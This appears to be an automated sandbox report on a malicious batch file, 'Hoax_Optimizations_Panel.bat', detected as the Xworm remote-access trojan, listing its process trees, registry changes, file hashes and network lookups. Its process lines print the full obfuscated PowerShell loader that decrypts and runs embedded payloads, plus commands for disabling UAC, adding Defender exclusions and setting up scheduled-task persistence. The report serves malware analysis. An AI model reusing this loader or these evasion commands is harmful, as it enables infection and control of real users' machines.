Analysis Overview
SHA256
b075e988772ccdfded34bb5594862a5e1e31a3917a09454ab995ac6008e21f8f
Threat Level: Known bad
The file Hoax_Optimizations_Panel.bat was found to be: Known bad.
Malicious Activity Summary
Xworm
UAC bypass
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Drops startup file
Executes dropped EXE
Checks computer location settings
Enumerates connected drives
Looks up external IP address via web service
Adds Run key to start application
Drops file in System32 directory
Drops file in Windows directory
Enumerates physical storage devices
Uses Task Scheduler COM API
Modifies registry class
Creates scheduled task(s)
Suspicious use of SendNotifyMessage
Suspicious use of AdjustPrivilegeToken
Modifies data under HKEY_USERS
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Modifies registry key
Suspicious use of UnmapMainImage
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-14 20:44
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-14 20:44
Reported
2024-06-14 20:47
Platform
win7-20240508-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2424 wrote to memory of 2596 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2424 wrote to memory of 2596 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2424 wrote to memory of 2596 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 2424 wrote to memory of 2060 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2424 wrote to memory of 2060 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2424 wrote to memory of 2060 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Hoax_Optimizations_Panel.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EAn/py5OSUgHttvmkjGlcEyIe3O40tUTi3fMt4KK5No='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czbWJM61KM0JfcgrQnbY9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kWpUb=New-Object System.IO.MemoryStream(,$param_var); $PxtkF=New-Object System.IO.MemoryStream; $tVCyt=New-Object System.IO.Compression.GZipStream($kWpUb, [IO.Compression.CompressionMode]::Decompress); $tVCyt.CopyTo($PxtkF); $tVCyt.Dispose(); $kWpUb.Dispose(); $PxtkF.Dispose(); $PxtkF.ToArray();}function execute_function($param_var,$param2_var){ $fCzlg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TOOhV=$fCzlg.EntryPoint; $TOOhV.Invoke($null, $param2_var);}$THKIo = 'C:\Users\Admin\AppData\Local\Temp\Hoax_Optimizations_Panel.bat';$host.UI.RawUI.WindowTitle = $THKIo;$pugBg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($THKIo).Split([Environment]::NewLine);foreach ($xYRND in $pugBg) { if ($xYRND.StartsWith('diEwdsPmZPkFgoeriKnz')) { $AClUK=$xYRND.Substring(20); break; }}$payloads_var=[string[]]$AClUK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Network
Files
memory/2060-4-0x000007FEF5B2E000-0x000007FEF5B2F000-memory.dmp
memory/2060-6-0x00000000022D0000-0x00000000022D8000-memory.dmp
memory/2060-5-0x000000001B650000-0x000000001B932000-memory.dmp
memory/2060-7-0x000007FEF5870000-0x000007FEF620D000-memory.dmp
memory/2060-8-0x000007FEF5870000-0x000007FEF620D000-memory.dmp
memory/2060-9-0x000007FEF5870000-0x000007FEF620D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-14 20:44
Reported
2024-06-14 20:47
Platform
win10v2004-20240508-en
Max time kernel
150s
Max time network
100s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Windows\system32\reg.exe | N/A |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BloxstrapModded.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BloxstrapModded.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\XClient.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\BloxstrapModded.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BloxstrapModded = "C:\\Users\\Admin\\AppData\\Roaming\\BloxstrapModded.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\O: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\X: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\K: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\N: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\H: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\R: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\B: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\G: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\M: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Q: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\S: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\V: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\W: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Y: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\E: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\J: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\L: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\P: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\T: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\U: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Z: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\A: | C:\Windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\I: | C:\Windows\system32\svchost.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\BloxstrapModded | C:\Windows\system32\svchost.exe | N/A |
| File opened for modification | C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx | C:\Windows\System32\svchost.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SoftwareDistribution\ReportingEvents.log | C:\Windows\system32\svchost.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF836BDF" | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
| N/A | N/A | C:\Windows\system32\reg.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Hoax_Optimizations_Panel.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EAn/py5OSUgHttvmkjGlcEyIe3O40tUTi3fMt4KK5No='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czbWJM61KM0JfcgrQnbY9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kWpUb=New-Object System.IO.MemoryStream(,$param_var); $PxtkF=New-Object System.IO.MemoryStream; $tVCyt=New-Object System.IO.Compression.GZipStream($kWpUb, [IO.Compression.CompressionMode]::Decompress); $tVCyt.CopyTo($PxtkF); $tVCyt.Dispose(); $kWpUb.Dispose(); $PxtkF.Dispose(); $PxtkF.ToArray();}function execute_function($param_var,$param2_var){ $fCzlg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TOOhV=$fCzlg.EntryPoint; $TOOhV.Invoke($null, $param2_var);}$THKIo = 'C:\Users\Admin\AppData\Local\Temp\Hoax_Optimizations_Panel.bat';$host.UI.RawUI.WindowTitle = $THKIo;$pugBg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($THKIo).Split([Environment]::NewLine);foreach ($xYRND in $pugBg) { if ($xYRND.StartsWith('diEwdsPmZPkFgoeriKnz')) { $AClUK=$xYRND.Substring(20); break; }}$payloads_var=[string[]]$AClUK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_17_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EAn/py5OSUgHttvmkjGlcEyIe3O40tUTi3fMt4KK5No='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czbWJM61KM0JfcgrQnbY9g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kWpUb=New-Object System.IO.MemoryStream(,$param_var); $PxtkF=New-Object System.IO.MemoryStream; $tVCyt=New-Object System.IO.Compression.GZipStream($kWpUb, [IO.Compression.CompressionMode]::Decompress); $tVCyt.CopyTo($PxtkF); $tVCyt.Dispose(); $kWpUb.Dispose(); $PxtkF.Dispose(); $PxtkF.ToArray();}function execute_function($param_var,$param2_var){ $fCzlg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TOOhV=$fCzlg.EntryPoint; $TOOhV.Invoke($null, $param2_var);}$THKIo = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.bat';$host.UI.RawUI.WindowTitle = $THKIo;$pugBg=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($THKIo).Split([Environment]::NewLine);foreach ($xYRND in $pugBg) { if ($xYRND.StartsWith('diEwdsPmZPkFgoeriKnz')) { $AClUK=$xYRND.Substring(20); break; }}$payloads_var=[string[]]$AClUK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat" "
C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
C:\Windows\system32\reg.exe
Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
C:\Windows\system32\mode.com
mode 145,30
C:\Windows\system32\reg.exe
reg add HKLM /F
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
C:\Windows\system32\reg.exe
reg add HKCU\CONSOLE /v VirtualTerminalLevel /t REG_DWORD /d 1 /f
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\BloxstrapModded.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'BloxstrapModded.exe'
C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "BloxstrapModded" /tr "C:\Users\Admin\AppData\Roaming\BloxstrapModded.exe"
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
C:\Users\Admin\AppData\Roaming\BloxstrapModded.exe
C:\Users\Admin\AppData\Roaming\BloxstrapModded.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 8.8.8.8:53 | loans-clip.gl.at.ply.gg | udp |
| US | 52.111.227.11:443 | tcp |
Files
memory/5044-0-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/5044-1-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/5044-2-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/5044-12-0x0000025B5C980000-0x0000025B5C9A2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qin4dpwg.vww.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/5044-13-0x0000025B5CA00000-0x0000025B5CA44000-memory.dmp
memory/5044-14-0x0000025B5CE90000-0x0000025B5CF06000-memory.dmp
memory/5044-15-0x0000025B5C950000-0x0000025B5C958000-memory.dmp
memory/5044-16-0x0000025B5CF10000-0x0000025B5CFB6000-memory.dmp
memory/3628-18-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/3628-19-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/3628-20-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/3628-32-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.vbs
| MD5 | a015fb8a9d027d9747c29afb2dcbae84 |
| SHA1 | 8ab88e0fb8ef32862ccb44a245d52dde5737e7cd |
| SHA256 | 803fb61baf4691c6a5cfe6ee1071080bca99656ffb21a34f273b2dddd0102a54 |
| SHA512 | 581d9c237753c6fc5722db518957b0dffdd97a1149341658e72365c674f547b0289b82bed7e9dcaa773ba266a6cf47d7ce4456063a2c5ff67896b23e6337a436 |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_17.bat
| MD5 | ed70fa278e4ecacb1dc505dffe9f5ac1 |
| SHA1 | 89a2f505bfee5c57a6c8ecf67692a56a72d16b2e |
| SHA256 | b075e988772ccdfded34bb5594862a5e1e31a3917a09454ab995ac6008e21f8f |
| SHA512 | af73f57bf21479b135a3a8f75fb3f5bb8be55492700debb775ea8b06808cd2d515f355cd0c81396de378981e57986af8016e1d1f0bf060008d6c91f172d00c59 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 005bc2ef5a9d890fb2297be6a36f01c2 |
| SHA1 | 0c52adee1316c54b0bfdc510c0963196e7ebb430 |
| SHA256 | 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d |
| SHA512 | f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22 |
memory/3516-50-0x00000000029B0000-0x00000000029DA000-memory.dmp
memory/1748-98-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/5044-97-0x00007FFC16230000-0x00007FFC16425000-memory.dmp
memory/4680-101-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1156-100-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1180-108-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1392-99-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1888-105-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1124-102-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/3516-96-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/5104-114-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1428-107-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1784-106-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
